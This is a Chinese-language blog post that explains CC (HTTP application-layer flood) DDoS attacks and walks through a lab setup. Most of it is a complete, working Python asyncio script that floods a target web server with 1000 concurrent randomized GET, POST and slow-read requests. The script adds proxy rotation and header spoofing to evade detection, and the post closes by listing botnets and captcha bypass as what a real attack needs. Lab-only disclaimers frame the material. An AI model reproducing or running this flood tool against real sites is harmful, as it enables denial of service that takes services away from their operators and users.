CC攻击python超绝代码
·
一、CC攻击含义
CC攻击（Challenge Collapsar，挑战黑洞）是一种针对Web应用层的分布式拒绝服务攻击（DDoS），其核心原理是利用大量看似合法的HTTP请求耗尽目标服务器的应用层资源（如数据库连接、CPU、内存），导致正常用户无法访问。
二、攻击原理
| 层级 | 传统DDoS | CC攻击 |
| 攻击层面 | 网络层/传输层（L3/L4） | 应用层（L7） |
| 典型手段 | SYN Flood、UDP Flood、ICMP Flood | HTTP GET/POST Flood |
| 特征 | 流量巨大、包特征明显 | 流量小、请求看似正常 |
| 防御难度 | 较易（防火墙/流量清洗） |
较难（难以与正常流量区分） |
*此所有实验需要在虚拟环境下进行操作，不得在真实环境下操作，违反者自己承担相关法律责任*
三、实验过程
需要有两台虚拟机（可以是kali、win7/win10...)本实验用到了win7和kali2026.1进行操作
前期准备：
1、phpStudy或者小皮(都一个东西）来启动服务
2、部署DVWA靶场环境或者自己写一个有数据库前后端的网
3、进入kali的root模式在进行操作
(1)在kali中下载好依赖
pip install aiohttp aiohttp-socks如果（root㉿kali)-[~]显示这中情况（先打下面这个命令）使其回到桌面文件夹下在操作
cd /home/kali/Desktop
（2）用vim创建py脚本 创建形式(vim /创建地址/文件名字.py）本处hhh为本人乱起的可以根据相关情况起对应的名字，以及地址也要根据自己情况而定
vim /home/kali/Desktop/hhh.py（3）将下面这个代码插入vim创建的py中【("http://192.168.252.139/cms/index.php"调换为自己靶机的网站，其中的并发数可以根据自己情况而调整，以及单主机连池大小也可以随自己情况调整】
#!/usr/bin/env python3
"""
HTTP压力测试脚本 - 仅用于授权自有靶机测试
Author: 安全测试用途
"""
import asyncio
import aiohttp
import random
import string
import ssl
import sys
from urllib.parse import urljoin, parse_qs, urlparse
import argparse
# ============ 配置区 ============
# 目标配置（修改这里）
TARGET = "http://192.168.252.139/cms/index.php" # 你的靶机
# 并发配置
CONCURRENT_LIMIT = 1000 # 最大并发数（根据机器性能调整）
CONNECTIONS_PER_HOST = 500 # 单主机连接池大小
# 代理池（如需使用，填入代理地址）
PROXIES = [
# "http://127.0.0.1:8080", # 示例：Burp Suite代理
# "http://user:pass@proxy:port",
]
# 用户代理池（更真实）
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15",
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15",
"Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15",
]
# 动态攻击路径（针对CMS常见动态接口）
DYNAMIC_ENDPOINTS = [
"index.php", "search.php", "article.php", "list.php",
"comment.php", "login.php", "register.php", "api.php",
"ajax.php", "data.php", "query.php", "view.php"
]
# 动态参数模板（消耗服务器资源）
PARAM_TEMPLATES = [
{"search": "{rand}", "page": "{rand_int}"},
{"id": "{rand_int}", "type": "{rand}", "cat": "{rand_int}"},
{"keyword": "{rand}", "sort": "{rand}", "order": "desc"},
{"user": "{rand}", "action": "search", "q": "{rand}"},
{"cid": "{rand_int}", "page": "{rand_int}", "size": "20"},
]
# ============ 工具函数 ============
def random_string(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def random_email():
domains = ["gmail.com", "qq.com", "163.com", "outlook.com", "126.com"]
return f"{random_string(6)}@{random.choice(domains)}"
def generate_dynamic_url(base_url):
"""生成动态URL，尽量命中数据库查询"""
parsed = urlparse(base_url)
base_path = parsed.scheme + "://" + parsed.netloc
# 随机选择端点
endpoint = random.choice(DYNAMIC_ENDPOINTS)
url = urljoin(base_path + "/", endpoint)
# 随机选择参数模板
template = random.choice(PARAM_TEMPLATES)
params = {}
for k, v in template.items():
if "{rand}" in v:
params[k] = v.replace("{rand}", random_string(random.randint(4, 12)))
elif "{rand_int}" in v:
params[k] = v.replace("{rand_int}", str(random.randint(1, 99999)))
else:
params[k] = v
# 构建查询字符串
query = "&".join([f"{k}={v}" for k, v in params.items()])
return f"{url}?{query}&_={random.randint(1000000000, 9999999999)}"
def generate_headers():
"""生成随机请求头"""
ua = random.choice(USER_AGENTS)
accept_langs = [
"zh-CN,zh;q=0.9,en;q=0.8",
"en-US,en;q=0.9,zh-CN;q=0.8",
"ja-JP,ja;q=0.9,en-US;q=0.8",
"ko-KR,ko;q=0.9,en;q=0.8",
]
return {
"User-Agent": ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": random.choice(accept_langs),
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"DNT": "1",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
# 随机Referer增加真实性
"Referer": f"https://www.google.com/search?q={random_string(10)}",
}
async def send_request(session, url, method="GET", data=None, proxy=None):
"""发送单个请求"""
try:
headers = generate_headers()
if method.upper() == "GET":
async with session.get(url, headers=headers, proxy=proxy,
allow_redirects=True, ssl=False, timeout=aiohttp.ClientTimeout(total=10)) as resp:
return resp.status, len(await resp.read())
else:
async with session.post(url, headers=headers, data=data, proxy=proxy,
allow_redirects=True, ssl=False, timeout=aiohttp.ClientTimeout(total=10)) as resp:
return resp.status, len(await resp.read())
except asyncio.TimeoutError:
return "TIMEOUT", 0
except aiohttp.ClientConnectorError:
return "CONN_ERR", 0
except Exception as e:
return f"ERR:{str(e)[:20]}", 0
async def attack_worker(session, target, worker_id, stats, proxy=None):
"""攻击工作协程"""
while True:
# 随机选择攻击模式
mode = random.choices(
["dynamic_get", "post_form", "slow_read"],
weights=[70, 25, 5]
)[0]
if mode == "dynamic_get":
url = generate_dynamic_url(target)
status, size = await send_request(session, url, proxy=proxy)
elif mode == "post_form":
url = urljoin(target, "search.php")
data = {
"keyword": random_string(10),
"page": str(random.randint(1, 999)),
"submit": "search"
}
status, size = await send_request(session, url, method="POST", data=data, proxy=proxy)
elif mode == "slow_read":
# 慢速读取攻击（保持连接）
url = generate_dynamic_url(target)
try:
headers = generate_headers()
async with session.get(url, headers=headers, proxy=proxy, ssl=False) as resp:
# 故意缓慢读取
chunk = await resp.content.read(1)
await asyncio.sleep(random.uniform(5, 15))
status = "SLOW"
size = 1
except:
status = "SLOW_FAIL"
size = 0
# 统计
stats["total"] += 1
if isinstance(status, int) and 200 <= status < 400:
stats["success"] += 1
elif status in ("TIMEOUT", "CONN_ERR"):
stats["failed"] += 1
# 每100次打印一次
if stats["total"] % 100 == 0:
success_rate = (stats["success"] / stats["total"]) * 100 if stats["total"] > 0 else 0
print(f"[Worker-{worker_id}] 总计:{stats['total']} 成功:{stats['success']} "
f"失败:{stats['failed']} 成功率:{success_rate:.1f}% | 最近状态:{status}")
async def main():
"""主函数"""
print("=" * 60)
print("HTTP压力测试脚本 - 仅用于授权测试环境")
print("=" * 60)
print(f"目标: {TARGET}")
print(f"并发数: {CONCURRENT_LIMIT}")
print("=" * 60)
# SSL上下文（忽略证书验证）
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# 创建连接池
connector = aiohttp.TCPConnector(
limit=CONNECTIONS_PER_HOST,
limit_per_host=CONNECTIONS_PER_HOST,
enable_cleanup_closed=True,
force_close=False,
ssl=ssl_context
)
# 创建会话
timeout = aiohttp.ClientTimeout(total=30, connect=10)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
stats = {"total": 0, "success": 0, "failed": 0}
# 启动工作协程
tasks = []
for i in range(CONCURRENT_LIMIT):
proxy = random.choice(PROXIES) if PROXIES else None
task = asyncio.create_task(attack_worker(session, TARGET, i, stats, proxy))
tasks.append(task)
# 运行直到手动停止
try:
await asyncio.gather(*tasks)
except KeyboardInterrupt:
print("\n[!] 用户中断")
for t in tasks:
t.cancel()
await asyncio.gather(*tasks, return_exceptions=True)
print(f"\n[+] 测试结束 - 总计请求: {stats['total']}")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n[!] 程序已退出")下面为本人运行结果图，如果没出可根据自己情况看看调整
任何针对未授权目标的攻击都是违法的。 以下改进仅用于自有靶机授权测试或压力测试场景。
但是这个代码不是在所有情况都成功，"任何情况都成功"是不可能的
真正的CC攻击需要：
海量真实IP（代理池/肉鸡网络）
绕过验证码（打码平台/AI识别）
模拟真实用户行为（鼠标轨迹、停留时间）
针对业务逻辑（如复杂数据库查询接口）
如果你是想测试自己靶机的抗压能力，上面的脚本已经足够
如果有其他解决不了的情况可以联系本人或者留言我们一起解决本人也是小白（让我们一起进步)
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目，面向数字基础设施四大核心场景（服务器、云计算、边缘计算、嵌入式），全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
13
0- 0
已为社区贡献1条内容
所有评论(0)